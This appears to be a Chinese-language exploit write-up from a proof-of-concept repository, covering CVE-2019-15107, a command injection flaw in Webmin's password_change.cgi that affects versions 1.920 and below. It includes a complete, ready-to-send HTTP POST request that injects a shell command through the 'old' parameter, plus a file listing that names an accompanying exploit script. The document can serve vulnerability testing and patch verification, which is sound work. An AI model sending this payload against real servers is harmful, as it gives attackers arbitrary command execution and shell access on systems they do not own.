Remote Code Execution Vulnerability in Webmin
## CVE-2019-15107: Exploit Modules Available for Remote Code Execution Vulnerability in Webmin
1.漏洞描述
Webmin是一款功能强大的基于Web的系统管理工具,被广泛应用于Unix系统,由于Webmin中Password_Change.cgi在接收请求的处理过程中,old参数存在命令注入漏洞,可被攻击者恶意利用。当用户开启Webmin密码重置功能后,攻击者利用该漏洞可在易受损系统中执行任意命令,进而获取系统Shell。
受影响版本:
Webmin 1.920及以下版本
2.漏洞利用
方法一:手动检测
访问页面,忽略证书后即可看到webmin的登录页面

发送如下数据包,即可执行命令id:
POST /password_change.cgi HTTP/1.1
Host: your-ip:10000
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Cookie: redirect=1; testing=1; sid=x; sessiontest=1
Referer: https://your-ip:10000/session_login.cgi
Content-Type: application/x-www-form-urlencoded
Content-Length: 60
user=rootxx&pam=&expired=2&old=test|id&new1=test2&new2=test2

方法二:利用脚本

[4.0K] /data/pocs/d6a2cfb8e29d4961fe64c87bbf0341f07498ff09
├── [ 92K] 1.png
├── [108K] 2.png
├── [204K] 3.png
├── [2.4K] CVE-2019-15107-w.py
└── [1.3K] README.md
0 directories, 5 files